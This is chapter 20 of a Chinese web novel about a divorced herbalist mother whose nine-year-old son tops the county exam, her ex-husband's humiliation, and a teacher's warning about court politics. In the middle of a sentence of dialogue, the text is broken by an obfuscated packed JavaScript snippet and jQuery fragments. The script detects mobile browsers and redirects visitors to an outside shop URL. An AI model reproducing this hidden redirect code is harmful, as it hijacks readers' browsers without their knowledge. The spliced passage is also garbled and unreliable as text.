20.金榜题名与溃败

作品:《被休农妇独美记

    天未亮,贡院街已挤得水泄不通。考生、家属、看热闹的闲人,将整条街围成人海。


    文渊没有去。


    他照常卯正起身,温书、习字、去后院帮母亲翻晒药材。


    柳清韵也没有催他。


    她只是将晾干的薄荷收入竹篓,淡淡道:“武毅去了。”


    文渊“嗯”了一声,继续写字。


    武毅是寅时三刻出的门。


    他揣着刘婶给的两个杂粮馒头,挤进贡院街最前排,从卯初站到辰正,寸步未移。


    辰时三刻,红榜从贡院大门徐徐挂出。


    人群沸腾。


    武毅不认识几个字,但他牢牢记得哥哥的名字——苏文渊,三个字,一笔一画,他在药圃边的泥地上练了几百遍。


    他的目光从榜尾开始,一行一行往上爬。


    第十二。


    第七。


    第三。


    他心跳越来越快,手心全是汗。


    第一。


    “苏文渊”三个字,墨迹淋漓,高高悬在榜首。


    武毅愣了一瞬。


    然后他转身,拼命挤出人群,朝家的方向狂奔。


    “娘——!哥哥——!”


    他的声音穿过长街,惊起檐角栖息的鸽群。


    “哥哥是案首——!第一名——!”


    柳清韵是在院门口接住武毅的。


    这孩子跑丢了鞋,脚底磨出血痕,却浑然不觉。他扑进母亲怀里,声音是哑的,眼眶是红的,嘴角却咧得老大。


    “娘,第一!哥哥是第一!”


    柳清韵抱着他,轻轻拍他的背。


    “知道了。”她说。


    她的声音很平稳,但武毅抬起头时,分明看见母亲眼底有极亮的光。


    文渊从西厢走出来。


    他站在廊下,看着弟弟赤着脚、满身尘土,看着他攥紧母亲衣襟的那只手。


    他走过去,蹲下身,把武毅跑丢的那只鞋轻轻套回他脚上。


    “鞋穿好。”他说,“以后还要跑很多次。”


    武毅用力吸了吸鼻子。


    “哥哥,”他瓮声瓮气,“你下次考府试,我还去挤榜。”


    文渊笑了一下。


    “好。”


    午时,县学的报喜差役到了柳家巷口。


    锣声开道,红绸披匾,为首的学吏高举报帖,高声唱名:


    “清河县童生试榜首——苏文渊!年九岁!清河镇人氏!”


    围观的街坊沸腾了。


    刘婶第一个冲上来塞红鸡蛋,后头跟着一串看热闹的孩童。周管事带着药坊的伙计们挤进人群,笑得合不拢嘴。连平日最刻薄的邻长都捋着胡子,连声道:“柳娘子教子有方,教子有方……”


    柳清韵站在院门口,接过那张盖着县衙大印的报帖。


    她没有挂匾,没有摆酒,只是将报帖小心折好,收入堂屋书案抽屉里。


    与文渊那篇策问原稿放在一起。


    申时,县学山长周敬之的亲笔评语送到柳家。


    短短三十字,字字如金:


    “以九龄稚龄,而论及国本。农桑、商贾、水利、兵备、防疫,条分缕析,尤难得者,事事皆有著落。此子若成,当为经世之器。”


    落款:敬之。


    柳清韵将评语递给文渊。


    文渊接过来,看了一遍,又看一遍。


    “娘,”他轻声问,“山长说,‘若成’。”


    柳清韵点头。


    “嗯。若成。”


    文渊沉默良久。


    “那还要很多年。”他说。


    柳清韵看着他。


    这孩子九岁,已懂得“若成”二字的分量。


    “很多年就很多年。”她说,“娘等得起。”


    当夜,邻号考生的家人登门致谢。


    那是一对四十来岁的夫妻,穿着半旧的细布衣裳,眉宇间是老实巴交的农人相。那考生姓陈,名有田,二十岁,是家中独子,爹娘咬牙供他读了十年书,头一回下场。


    “苏公子,”陈有田的母亲一进门就要跪下,“您是我儿的救命恩人……”


    文渊连忙扶住。


    “婶娘莫要如此。”他说,“陈兄那日是急症,恰好学生懂一点穴位按压。换了旁人,也会相助的。”


    陈母抹着泪,从篮子里取出十个红鸡蛋、一方粗布手帕。


    “家里穷,没啥拿得出手的……这帕子是我自己织的,给公子擦擦汗……”


    文渊双手接过。


    那方粗布手帕叠得整整齐齐,针脚细密,一角绣着一枝小小的兰草。


    他郑重收入怀中。


    同夜,王家内院。


    王老爷的书房里,传出一声比一声高的斥骂。


    “你还有脸回来!县尉府放话永不采买王家药材,你知道这是什么意思吗!”


    苏明德跪在堂中,低头不语。


    王娇娇站在屏风后,绞着帕子,眼眶红肿。她想去扶丈夫,却被父亲一记眼刀钉在原地。


    “还有你!”王老爷指着女儿,“当初非要嫁这个穷酸秀才,说他有功名有前途!如今呢?功名是空的,前途是断的,还连累老子被人笑话!”


    王娇娇咬唇,眼泪扑簌簌落下来。


    她想辩驳,却发现自己无从辩起。


    苏明德确实没有功名——他自十六岁考中秀才后,连考三场乡试,场场落第。


    苏明德确实没有家产——当初娶她时那点聘礼,一半是从王家账上借的。


    苏明德确实没有担当——她骂他、怨他、摔东西,他只会沉默。


    可她当初执意要嫁他。


    是她看中他那张清俊的脸,是他低声唤她“娇娘”时那份温柔,是她在闺中读过他的诗,以为那是惊才绝艳。


    如今她才知道,那诗是他在柳家破屋油灯下写的,身边是怀着第三个孩子的原配。


    王娇娇忽然觉得冷。


    她转身,跌跌撞撞走进内室,伏在床上,无声地哭了。


    苏明德还跪在书房。


    王老爷已经骂累了,挥挥手,像赶一只碍事的野狗。


    “滚。”


    苏明德站起来,退出去。


    他没有回自己的厢房。


    他走出王家后门,漫无目的地在夜色中走了很久。


    等他停下脚步时,他发现自己站在清河镇北,柳家新宅的巷口。


    院墙内透出温暖的灯火。


    他看见武毅蹲在院中,借着檐下灯笼的光,用木棍一笔一画在地上写字。


    他看见文渊坐在窗边,面前摊着书卷,提笔写着什么。


    他看见柳清韵抱着婉宁从堂屋出来,低声哼着什么调子,婉宁在她怀里咯咯地笑。


    那笑声穿过院墙,穿过夜色,落在他脚边。


    苏明德忽然蹲下身,捂住脸。


    他不知道自己在那里蹲了多久。


    四月二十二,柳家的庆贺宴。


    说“宴”是抬举了——不过是多添了两个菜,一壶陈掌柜送来的桂花酿,刘婶带着婉宁、周管事带着药坊几个老伙计,围坐一桌,热热闹闹吃了一顿饭。


    武毅喝不得酒,硬是偷偷尝了一口,呛得满脸通红,逗得满屋大笑。


    婉宁坐在柳清韵膝上,挥舞着小手,跟着哥哥们一起笑。


    文渊被灌了三杯,耳朵尖泛起薄红,却还端端正正坐着,一句“学生不胜酒力”翻来覆去说了七八遍。


    柳清韵没有喝酒。


    她坐在主位上,看着这一屋子喧闹,唇角的笑意始终淡淡的。


    待酒过三巡,她轻轻敲了敲杯沿。


    满屋渐静。


    “今夜有两件事,要同你们说。”她放下酒杯。


    文渊正襟危坐,武毅也坐直了身子。


    “第一件。”柳清韵从袖中取出一张纸笺,“从下月起,柳氏药坊每月利润中,将拨出一成,设立‘柳氏助学基金’。”


    周管事怔住。


    “凡本县寒门子弟,品学兼优而无力延师者,经县学教谕举荐,可申领助学银钱。每年三人,每人纹银五两,直供至童生试前。”


    满屋寂静。


    刘婶眼眶倏地红了。


    五两银子,够一个农户全家吃一年。她年轻时若不是家贫辍学,也不至于……


    “娘子,”她声音发哽,“您这是……”


    “不为扬名,不为积德。”柳清韵说,“只为文渊日后科考路上,多几个同路人。”


    她转向文渊。


    “这笔钱由你来管。银钱进出、人选审核、学期追踪,娘不插手。”


    文渊看着她,喉头滚动了很久。


    “儿……记下了。”他低声说。


    柳清韵点头。


    “第二件。”她取出另一张纸笺,“这是县学的入学文书。文渊将以童生案首身份,入县学附读,由山长亲自指点,备战明年府试。”


    武毅攥紧拳头,眼睛亮晶晶的。


    刘婶连声道好,周管事击掌称贺。


    文渊接过那份文书,垂眸看了很久。


    “娘,”他抬起头,声音很轻,“儿会努力


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320774|198903||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的。”


    柳清韵点头。


    “嗯。”


    她伸手,将他鬓边一缕散落的发丝别到耳后。


    “娘知道。”


    夜深,宾客散去。


    柳清韵独自坐在堂屋,意识沉入空间。


    那片灰雾——


    散开了。


    雾气退去三丈有余,露出一角她从未见过的轮廓。


    是竹楼。


    一座古朴的小竹楼,两层,檐角微翘,通体以青竹搭建,在灰雾边缘静静伫立。


    竹楼门扉虚掩,隐约可见内里似有书架轮廓。


    柳清韵站在竹楼前,没有推门。


    她只是静静看着,将那份轮廓深深刻进意识。


    然后她退出空间,睁开眼。


    窗外月色正好。


    四月二十三,王教谕夜访。


    老先生来时,文渊已在西厢睡下。柳清韵在堂屋待茶,仍是寻常粗叶,王教谕喝得慢,眉间有一缕挥之不去的忧色。


    “文渊的策问,山长亲笔点评,娘子可看了?”


    “看了。”柳清韵说。


    “山长说,‘此子若成,当为经世之器’。”王教谕顿了顿,“娘子可知,山长上一次用‘经世’二字评人,是何时?”


    柳清韵等他下文。


    “十八年前。”王教谕缓缓道,“那年评的是他的学生,姓周,单名一个‘慎’字。周慎二十一岁中举,二十五岁殿试二甲第七,入翰林院,历任刑部主事、工部郎中……”


    他停下茶盏。


    “三年前,因卷入朝中党争,被贬岭南,病殁于赴任途中,年三十九。”


    堂中寂静。


    柳清韵看着王教谕。


    “教谕的意思是,文渊不该出头?”


    “不。”王教谕摇头,“老夫的意思是——”


    他搁下茶盏,抬眼。


    “木秀于林,风必摧之。娘子,文渊今年才九岁。他已是县试案首,明年若过府试、院试,便是十三岁以下的秀才。这等才华,瞒不住人。”


    他顿了顿。


    “届时盯上他的,就不再是本县王家这样的商贾,而是府城、省城,甚至京城里,各怀心思的人。”


    柳清韵没有立刻回答。


    她垂眸,看着自己搁在膝头的手。


    这双手救过钱老夫人的命,接过陆公子的断骨,调出过能透骨搜风的药膏。


    这双手也曾在破屋里为女儿吸出堵住呼吸的羊水,曾在绝境中握住两个儿子发抖的手。


    她缓缓开口。


    “教谕,”她说,“妾身出身寒微,幼时随母采药,不曾读过一天书。妾身不知道翰林院是什么样子,也不知道朝中党争有多凶险。”


    她抬眼,目光平静。


    “妾身只知道,文渊生在这世上,不是为了躲风的。”


    王教谕看着她。


    “他若是一株弱苗,妾身会护他在温室中,一世平安。但他不是。”柳清韵说,“他读得进书,用得了事,帮得了人。他有他想走的路。”


    她顿了顿。


    “妾身做母亲的,不能替他走,也不能替他挡所有的风。”


    “妾身只能替他磨好刀,扶正他的背,然后站在他身后。”


    “风来的时候,妾身在。”


    王教谕良久不语。


    末了,他起身,朝柳清韵拱手一揖。


    “娘子今日所言,老夫铭记。”


    他走到门口,忽然回头。


    “陆校尉那边,可有新消息?”


    柳清韵微微一怔。


    “明日陆校尉遣人来,说有要事相商。”她顿了顿,“教谕何以知晓?”


    王教谕沉默片刻。


    “老夫只是听说,”他低声道,“府城兵备道的大人,近日在核查边军采买账目。柳氏药坊的军供记录,已被调去州府了。”


    他没有再说下去。


    柳清韵站在门口,目送他的马车消失在巷口夜色中。


    夜风微凉。


    她拢了拢衣襟,转身回屋。


    文渊的房中,灯已熄了。


    武毅在隔壁传来均匀的呼吸声。


    婉宁在摇篮里翻了个身,小手攥着被角,睡得很沉。


    柳清韵在廊下站了很久。


    明日,陆校尉的人会带来什么消息?


    州府兵备道的大人,是敌是友?


    更高处的风,还要多久才会吹到这里?


    她不知道。


    但她知道——


    她的刀,已经磨好了。